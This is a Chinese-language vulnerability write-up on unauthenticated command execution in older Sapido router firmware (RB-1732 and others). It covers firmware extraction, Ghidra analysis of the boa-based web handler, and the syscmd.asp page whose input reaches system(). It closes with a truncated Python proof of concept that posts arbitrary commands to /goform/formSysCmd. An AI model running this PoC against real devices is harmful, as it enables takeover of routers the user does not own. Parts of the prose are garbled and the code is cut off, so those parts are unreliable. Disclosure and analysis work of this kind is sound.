Sapido多款路由器命令执行漏洞&突破

一、漏洞简介

二、漏洞影响

BR270n-v2.1.03

BRC76n-v2.1.03

GR297-v2.1.3

RB1732-v2.0.43

之前的版本存在命令执行漏洞

三、复现过程

0x01 固件环境模拟

image

0x02 binwalk解压固件

image

image

0x03 查看web容器

image

对于嵌入式设备而言,很多服务都是移植开源的,/etc/init.d文件夹下是路由器启动时的加载项,在这些文件中可以看到很多的启动服务等,但是在这里我没有发现web容器的启动项,猜测可能厂商进行了二次开发

0x04 查找http服务模块

image

在这里可以看到很多关于http的,我们不去关注web网页出现的。因为我们想要知道这款路由器的web容器是其中,所以我们把重点放在前面的elf文件处,在这里我们看到一个cmelf文件,如果知道开源的web服务器boa可能猜到一些,下面就是boa的架构

image

可以这里清晰的看到web层的英文如何状语从句:底层通过boa进行交互的。那么对于不知道的容器我们又该如何去分析呢?继续我们去分析剩下的elf程序,名字通过逐个状语从句:我们分析在sysconf程序中发现了http请求的处理方式,使用ghidra来分析sysconf

image

通过全文搜索定位http到关键函数,在这里我们发现了一个关键的函数apmib_get通过猜测也能大概猜到这是一个关于获取的函数,通过google可以搜索到这个函数,会发现这个函数是关于web开源服务器的boa用到的函数,到那么这里我们就已经确认这款路由器的web容器的英文boa了。既然已经知道了boa,肯定那么这个知道有框架一个关键的文件syscmd.htm文件,可以执行系统命令,由于但是这款路由器的英文asp写的所以我们只进行检索syscmd

image

这里可以发现两个文件,一个elf文件,一个asp文件,打开asp文件

image

在这里可以抛光页面可以执行系统命令

0x05 通过url访问指定页面

image

发现可以执行系统命令,那么这里又是如何处理的呢?

通过上面的asp文件可以知道,对于输入的命令处理应该和formSysCmd有关联,这里我们进行grep搜索

image

可以看到一个webself文件,那么可以猜测这里可能就是syscmd执行的临时文件了

0x06 分析webs文件

image

image

上面就是整个命令执行的逐步实现方式了,第一个图片可以看到使用system函数执行输入的系统命令,第二个图片可以裁剪将执行的结果通过cat输入到/web/obama.dat文件中,最后将obama.dat中的内容输入到web界面的文本框里。

0x07 poc

```

Exploit Title: SAPIDO RB-1732 command line execution

Date: 2019-6-24

Exploit Author: k1nm3n.aotoi

Vendor Homepage: http://www.sapido.com.tw/

Software Link: http://www.sapido.com.tw/CH/data/Download/firmware/rb1732/tc/RB-1732_TC_v2.0.43.bin

Version: RB-1732 V2.0.43

Tested on: linux

import requests import sys

def test_httpcommand(ip, command): my_data = {'sysCmd': command, 'apply': 'Apply', 'submit-url':'/syscmd.asp', 'msg':''} r = requests.post('http://%s/goform/formSysCmd' % ip, data = my_data) content = r.text content = content[ content.find('

results matching ""

    No results matching ""